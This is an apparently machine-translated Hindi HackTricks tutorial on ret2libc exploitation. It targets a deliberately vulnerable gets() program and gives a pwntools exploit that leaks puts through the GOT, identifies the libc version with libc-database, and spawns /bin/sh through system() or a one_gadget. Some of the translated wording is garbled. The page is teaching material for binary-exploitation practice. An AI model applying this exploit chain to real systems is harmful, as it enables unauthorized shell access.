Leaking libc address with ROP

htARTE (HackTricks AWS Red Team Expert) से जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

त्वरित सारांश

  1. ओवरफ्लो ऑफसेट खोजें

  2. POP_RDI गैजेट, PUTS_PLT और MAIN गैजेट खोजें

  3. पिछले गैजेट का उपयोग करके puts या किसी अन्य libc फ़ंक्शन की मेमोरी पता लीक करें और libc संस्करण पता करें (डाउनलोड करें)

  4. पुस्तकालय के साथ, ROP की गणना करें और इसे एक्सप्लॉइट करें

अन्य ट्यूटोरियल और बाइनरी प्रैक्टिस करने के लिए

यह ट्यूटोरियल उस कोड/बाइनरी को एक्सप्लॉइट करेगा जो इस ट्यूटोरियल में प्रस्तावित किया गया है: https://tasteofsecurity.com/security/ret2libc-unknown-libc/ और एक उपयोगी ट्यूटोरियल: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html

कोड

फ़ाइलनाम: vuln.c

#include <stdio.h>

int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);

return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie

ROP - LIBC पता लगाने का टेम्पलेट

एक्सप्लॉइट डाउनलोड करें और इसे विकल्पी बाइनरी के समान निर्देशिका में रखें और स्क्रिप्ट को आवश्यक डेटा दें:

pageLeaking libc - template

1- ऑफसेट खोजना

टेम्पलेट को एक ऑफसेट की आवश्यकता है जिसके बाद एक्सप्लॉइट के साथ जारी रखने के लिए। यदि कोई प्रदान किया जाता है तो यह उसे खोजने के लिए आवश्यक कोड का निष्पादन करेगा (डिफ़ॉल्ट रूप से OFFSET = ""):

###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return

क्रियान्वित python template.py एक GDB कन्सोल खुलेगा जिसमें कार्यक्रम क्रैश हो जाएगा। उस GDB कन्सोल में x/wx $rsp क्रियान्वित करें ताकि RIP को ओवरराइट करने वाले बाइट्स प्राप्त हों। अंततः एक python कन्सोल का उपयोग करके ऑफसेट प्राप्त करें:

from pwn import *
cyclic_find(0x6161616b)

ऑफसेट (इस मामले में 40) पाने के बाद, उस मान का उपयोग करके टेम्पलेट के अंदर OFFSET वेरिएबल को बदलें। OFFSET = "A" * 40

एक और तरीका हो सकता है: pattern create 1000 -- रिटर्न तक चलाएं -- pattern seach $rsp GEF से।

2- गैजेट्स खोजना

अब हमें बाइनरी के अंदर ROP गैजेट्स खोजने की आवश्यकता है। ये ROP गैजेट्स puts को कॉल करने के लिए उपयोगी होंगे libc को खोजने के लिए, और बाद में अंतिम धोखाधड़ी को लॉन्च करने के लिए।

PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]

log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret  gadget: " + hex(POP_RDI))

PUTS_PLT को फ़ंक्शन puts को कॉल करने के लिए आवश्यक है। MAIN_PLT को मुख्य फ़ंक्शन को फिर से कॉल करने के लिए आवश्यक है एक इंटरेक्शन के बाद ओवरफ़्लो को फिर से शांत करने के लिए (असीमित दौरों के लिए शोषण)। हर ROP के अंत में प्रोग्राम को फिर से कॉल करने के लिए इस्तेमाल किया जाता हैPOP_RDI को बुलाए गए फ़ंक्शन को पैरामीटर पास करने के लिए आवश्यक है।

इस चरण में आपको कुछ भी नहीं चलाने की आवश्यकता है क्योंकि पूटूल्स द्वारा निष्पादन के दौरान सभी चीजें मिल जाएंगी।

3- लिबसी पुस्तकालय खोजना

अब समय है पता लगाने का कि कौन सी libc पुस्तकालय का संस्करण उपयोग किया जा रहा है। इसके लिए हमें मेमोरी में फ़ंक्शन puts का पता लगाना होगा और फिर हमें इस पते में कौन सा पुस्तकालय संस्करण है उसे खोजना होगा।

def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)

#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address,  "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

return hex(leak)

get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()

इसे करने के लिए, निष्पादित कोड की सबसे महत्वपूर्ण लाइन है:

rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)

यह कुछ बाइट भेजेगा जब तक RIP को ओवरराइट करना संभव हो: OFFSET। फिर, यह गैजेट POP_RDI का पता सेट करेगा ताकि अगला पता (FUNC_GOT) RDI रजिस्ट्री में सहेजा जाए। यह इसलिए है क्योंकि हमें puts को बुलाना है जिसे हम पास कर रहे हैं PUTS_GOT का पता जैसे ही मेमोरी में puts फ़ंक्शन का पता PUTS_GOT द्वारा पॉइंट करने वाले पते में सहेजा जाता है। उसके बाद, PUTS_PLT को बुलाया जाएगा (PUTS_GOT के अंदर RDI के साथ) ताकि puts PUTS_GOT के अंदर कंटेंट पढ़ सके (मेमोरी में puts फ़ंक्शन का पता) और इसे प्रिंट करेगा। अंत में, मुख्य फ़ंक्शन को फिर से बुलाया जाता है ताकि हम फिर से ओवरफ़्लो का शोषण कर सकें।

इस तरह हमने puts फ़ंक्शन को धोखा दिया है कि वह मेमोरी में puts फ़ंक्शन का पता प्रिंट करे (जो libc पुस्तकालय के अंदर है)। अब हमारे पास उस पते के साथ है तो हम खोज सकते हैं कि कौन सी libc संस्करण का उपयोग हो रहा है

हम किसी स्थानीय बाइनरी का शोषण कर रहे हैं इसलिए यह आवश्यक नहीं है कि हमें यह जानने की आवश्यकता है कि कौन सा libc संस्करण उपयोग हो रहा है (केवल /lib/x86_64-linux-gnu/libc.so.6 में पुस्तकालय खोजें)। लेकिन, दूरस्थ शोषण मामले में मैं यहाँ विवरण दूंगा कि आप इसे कैसे खोज सकते हैं:

3.1- libc संस्करण की खोज (1)

आप वेब पृष्ठ पर खोज सकते हैं कि कौन सी पुस्तकालय का उपयोग हो रहा है: https://libc.blukat.me/ यह आपको libc के खोजे गए संस्करण को डाउनलोड करने की भी अनुमति देगा।

3.2- libc संस्करण की खोज (2)

आप भी कर सकते हैं:

  • $ git clone https://github.com/niklasb/libc-database.git

  • $ cd libc-database

  • $ ./get

इसमें कुछ समय लगेगा, धैर्य रखें। इसके लिए काम करने के लिए हमें चाहिए:

  • Libc सिम्बल नाम: puts

  • लीकेड libc पता: 0x7ff629878690

हम यह तय कर सकते हैं कि कौन सी libc उपयोग की जा रही है।

./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)

हमें 2 मैच मिलते हैं (अगर पहला काम नहीं कर रहा है तो आपको दूसरा प्रयास करना चाहिए)। पहला डाउनलोड करें:

./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64

3.3- लीक करने के लिए अन्य फ़ंक्शन

libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so से libc की कॉपी हमारे काम करने के निर्देशिका में करें।

puts
printf
__libc_start_main
read
gets

4- आधारित libc पता लगाना और उसका शोषण करना

इस बिंअरी का उपयोग करते समय हमें लिब्सी पुस्तकालय का पता होना चाहिए। मैं बस यहाँ प्रयोग करूंगा: /lib/x86_64-linux-gnu/libc.so.6

इसलिए, template.py के शुरू में libc चर को बदलें: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

libc पुस्तकालय के पथ देने से शोषण का शेष भाग स्वचालित रूप से होगा।

get_addr फ़ंक्शन के भीतर libc का आधार पता लगाया जाएगा:

if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))

ध्यान दें कि अंतिम libc बेस पता 00 में समाप्त होना चाहिए। यदि ऐसा नहीं है तो आपने गलत पुस्तकालय का लीक किया हो सकता है।

फिर, सिस्टम फ़ंक्शन के पते और "/bin/sh" स्ट्रिंग के पते को गणना किया जाएगा libc के बेस पते से और दिए गए libc पुस्तकालय

BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]

log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))

अंत में, /bin/sh निष्पादन उत्पीड़न तैयार किया जा रहा है भेजने के लिए:

rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)

p.clean()
p.sendline(rop2)

#### Interact with the shell #####
p.interactive() #Interact with the conenction

Let's explain this final ROP. आखिरी ROP (rop1) फिर से मुख्य फ़ंक्शन को बुलाकर समाप्त हुआ, तो हम फिर से शोषण कर सकते हैं ओवरफ्लो (इसलिए OFFSET यहाँ फिर से है)। फिर, हम "/bin/sh" के पते (BINSH) को दिखाने के लिए POP_RDI को बुलाना चाहते हैं और सिस्टम फ़ंक्शन (SYSTEM) को बुलाना चाहते हैं क्योंकि "/bin/sh" का पता पैरामीटर के रूप में पास किया जाएगा। अंत में, एग्ज़िट फ़ंक्शन का पता बुलाया जाता है ताकि प्रक्रिया अच्छे से समाप्त हो और कोई चेतावनी उत्पन्न न हो।

इस तरह शोषण एक _/bin/sh_** शैली को निष्पादित करेगा।**

4(2)- एक ONE_GADGET का उपयोग

आप ONE_GADGET का उपयोग करके एक शैली प्राप्त करने के लिए सिस्टम और "/bin/sh" का उपयोग करने की बजाय एक शैली प्राप्त कर सकते हैं। ONE_GADGET लिबीसी पुस्तकालय के अंदर एक ROP पता का उपयोग करके केवल एक शैली प्राप्त करने के लिए कुछ तरीका खोजेगा। हालांकि, सामान्यत: कुछ प्रतिबंध होते हैं, सबसे सामान्य और आसान टालने वाले तरीके हैं जैसे [rsp+0x30] == NULL जैसे आप RSP के मान को नियंत्रित करते हैं तो आपको और कुछ NULL मान भेजना होगा ताकि प्रतिबंध टाल दिया जाए।

ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100

एक्सप्लॉइट फ़ाइल

आप इस सुरक्षा दोष का शार्टकट यहाँ पा सकते हैं:

pageLeaking libc - template

सामान्य समस्याएँ

MAIN_PLT = elf.symbols['main'] नहीं मिला

यदि "main" प्रतीक मौजूद नहीं है। तो आप यहाँ मुख्य कोड कहाँ है पा सकते हैं:

objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:

और पता मैन्युअल रूप से सेट करें:

MAIN_PLT = 0x401080

Puts नहीं मिला

यदि बाइनरी Puts का उपयोग नहीं कर रहा है तो आपको यह जांचना चाहिए कि क्या यह इस्तेमाल कर रहा है

sh: 1: %s%s%s%s%s%s%s%s: not found

यदि आप इस त्रुटि को पाते हैं जब आप सभी एक्सप्लॉइट बनाने के बाद: sh: 1: %s%s%s%s%s%s%s%s: not found

तो कोशिश करें "/bin/sh" के पते में 64 बाइट कम करें:

BINSH = next(libc.search("/bin/sh")) - 64
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

Last updated